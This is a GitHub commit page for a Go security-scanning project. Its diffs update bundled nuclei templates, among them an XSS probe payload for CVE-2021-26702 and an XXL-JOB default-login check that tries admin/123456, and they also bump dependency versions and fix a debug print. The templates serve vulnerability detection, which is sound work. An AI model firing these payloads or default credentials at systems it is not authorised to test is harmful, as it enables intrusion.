Skip to content

Commit 65bb51d

Browse files
committed
fix main.go:35:4: fmt.Println arg list ends with redundant newline 2022-07-12 09:34:1657589698
1 parent 45f69b0 commit 65bb51d

File tree

11 files changed

+35
-13
lines changed

11 files changed

+35
-13
lines changed

config/nuclei-templates/README.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -53,7 +53,7 @@ An overview of the nuclei template project, including statistics on unique tags,
5353
| wp-plugin | 283 | pussycat0x | 125 | default-logins | 98 | | | | |
5454
| tech | 276 | gy741 | 124 | file | 76 | | | | |
5555

56-
**279 directories, 3776 files**.
56+
**279 directories, 3823 files**.
5757

5858
</td>
5959
</tr>

config/nuclei-templates/cves/2020/CVE-2020-8644.yaml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
id: CVE-2020-8644
22

33
info:
4-
name: playSMS<1.4.3 - Remote Code Execution
4+
name: playSMS <1.4.3 - Remote Code Execution
55
author: dbrwsky
66
severity: critical
77
description: PlaySMS before version 1.4.3 is susceptible to remote code execution because it double processes a server-side template.

config/nuclei-templates/cves/2021/CVE-2021-26702.yaml

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -18,13 +18,13 @@ info:
1818
requests:
1919
- method: GET
2020
path:
21-
- "{{BaseURL}}/cgi/dataset_dictionary?dataset=zulu</title></script><script>alert(document.domain)</script>"
21+
- "{{BaseURL}}/cgi/dataset_dictionary?dataset=zulu%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
2222

2323
matchers-condition: and
2424
matchers:
2525
- type: word
2626
words:
27-
- "</title></script><script>alert(document.domain)</script>"
27+
- "</script><script>alert(document.domain)</script>"
2828

2929
- type: word
3030
part: header

config/nuclei-templates/default-logins/xxljob/xxljob-default-login.yaml

Lines changed: 14 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@ id: xxljob-default-login
22

33
info:
44
name: XXL-JOB Default Login
5-
author: pdteam
5+
author: pdteam,ritikchaddha
66
severity: high
77
description: XXL-JOB default admin credentials were discovered.
88
reference:
@@ -11,6 +11,9 @@ info:
1111
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
1212
cvss-score: 8.3
1313
cwe-id: CWE-522
14+
metadata:
15+
verified: true
16+
shodan-query: http.favicon.hash:1691956220
1417
tags: default-login,xxljob
1518

1619
requests:
@@ -22,13 +25,21 @@ requests:
2225
2326
userName={{username}}&password={{password}}
2427
28+
- |
29+
POST /login HTTP/1.1
30+
Host:{{Hostname}}
31+
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
32+
33+
userName={{username}}&password={{password}}
34+
35+
attack: pitchfork
2536
payloads:
2637
username:
2738
- admin
2839
password:
2940
- 123456
30-
attack: pitchfork
3141

42+
stop-at-first-match: true
3243
matchers-condition: and
3344
matchers:
3445
- type: word
@@ -39,10 +50,10 @@ requests:
3950
condition: and
4051

4152
- type: word
53+
part: header
4254
words:
4355
- 'application/json'
4456
- 'XXL_JOB_LOGIN_IDENTITY'
45-
part: header
4657
condition: and
4758

4859
- type: status

config/nuclei-templates/exposed-panels/xxljob-panel.yaml

Lines changed: 6 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,15 +2,20 @@ id: xxljob-panel
22

33
info:
44
name: XXLJOB Admin Login Panel
5-
author: pdteam,daffainfo
5+
author: pdteam,daffainfo,ritikchaddha
66
severity: info
7+
metadata:
8+
verified: true
9+
shodan-query: http.favicon.hash:1691956220
710
tags: panel,xxljob,login
811

912
requests:
1013
- method: GET
1114
path:
1215
- "{{BaseURL}}/xxl-job-admin/toLogin"
16+
- "{{BaseURL}}/toLogin"
1317

18+
stop-at-first-match: true
1419
matchers-condition: and
1520
matchers:
1621
- type: word

config/nuclei-templates/technologies/shopware-detect.yaml

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,9 @@ info:
88
reference:
99
- https://github.com/shopware/shopware
1010
- https://github.com/shopware/platform
11+
metadata:
12+
verified: true
13+
shodan-query: title:"shopware AG"
1114
tags: tech,shopware,cms
1215

1316
requests:
@@ -16,6 +19,7 @@ requests:
1619
- "{{BaseURL}}/admin"
1720
- "{{BaseURL}}/backend"
1821

22+
stop-at-first-match: true
1923
matchers-condition: and
2024
matchers:
2125
- type: word
@@ -29,4 +33,4 @@ requests:
2933

3034
- type: status
3135
status:
32-
- 200
36+
- 200

go.mod

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -69,7 +69,7 @@ require (
6969
github.com/projectdiscovery/rawhttp v0.0.8-0.20220526170355-03de6bb78f37
7070
github.com/projectdiscovery/sliceutil v0.0.0-20220511171050-c7d9bc5cadd9
7171
github.com/projectdiscovery/urlutil v0.0.0-20210805190935-3d83726391c1
72-
github.com/projectdiscovery/wappalyzergo v0.0.49
72+
github.com/projectdiscovery/wappalyzergo v0.0.50
7373
github.com/rs/xid v1.4.0
7474
go.etcd.io/bbolt v1.3.6 // indirect
7575
)

go.sum

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -666,6 +666,8 @@ github.com/projectdiscovery/urlutil v0.0.0-20210805190935-3d83726391c1/go.mod h1
666666
github.com/projectdiscovery/wappalyzergo v0.0.45/go.mod h1:vS+npIOANv7eKsEtODsyRQt2n1v8VofCwj2gjmq72EM=
667667
github.com/projectdiscovery/wappalyzergo v0.0.49 h1:h0ZQpAk+ypyKbVY/Mxy5B3OeQVS8+M0/Z/e4IJsqQwY=
668668
github.com/projectdiscovery/wappalyzergo v0.0.49/go.mod h1:1LQBGQVW47tMHxGTxmBK+pAwfsWKSLQMXt/egxGlljo=
669+
github.com/projectdiscovery/wappalyzergo v0.0.50 h1:mV0RwGnzyyfKscXnDCgzb2INy1BTJX8dT8Zurl+WCuY=
670+
github.com/projectdiscovery/wappalyzergo v0.0.50/go.mod h1:1LQBGQVW47tMHxGTxmBK+pAwfsWKSLQMXt/egxGlljo=
669671
github.com/projectdiscovery/yamldoc-go v1.0.2/go.mod h1:7uSxfMXaBmzvw8m5EhOEjB6nhz0rK/H9sUjq1ciZu24=
670672
github.com/projectdiscovery/yamldoc-go v1.0.3-0.20211126104922-00d2c6bb43b6 h1:DvWRQpw7Ib2CRL3ogYm/BWM+X0UGPfz1n9Ix9YKgFM8=
671673
github.com/projectdiscovery/yamldoc-go v1.0.3-0.20211126104922-00d2c6bb43b6/go.mod h1:8OfZj8p/axkUM/TJoS/O9LDjj/S8u17rxRbqluE9CU4=

main.go

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -32,7 +32,7 @@ func main() {
3232
if options.Debug {
3333
// debug 优化时启用///////////////////////
3434
go func() {
35-
fmt.Println("debug info: \nopen http://127.0.0.1:6060/debug/pprof/\n")
35+
fmt.Println("debug info: \nopen http://127.0.0.1:6060/debug/pprof/")
3636
http.ListenAndServe(":6060", nil)
3737
}()
3838
//////////////////////////////////////////*/

vendor/github.com/projectdiscovery/wappalyzergo/fingerprints_data.go

Lines changed: 1 addition & 1 deletion
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

vendor/modules.txt

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -715,7 +715,7 @@ github.com/projectdiscovery/uncover/uncover/agent/shodanidb
715715
# github.com/projectdiscovery/urlutil v0.0.0-20210805190935-3d83726391c1
716716
## explicit; go 1.16
717717
github.com/projectdiscovery/urlutil
718-
# github.com/projectdiscovery/wappalyzergo v0.0.49
718+
# github.com/projectdiscovery/wappalyzergo v0.0.50
719719
## explicit; go 1.16
720720
github.com/projectdiscovery/wappalyzergo
721721
# github.com/projectdiscovery/yamldoc-go v1.0.3-0.20211126104922-00d2c6bb43b6

0 commit comments

Comments
 (0)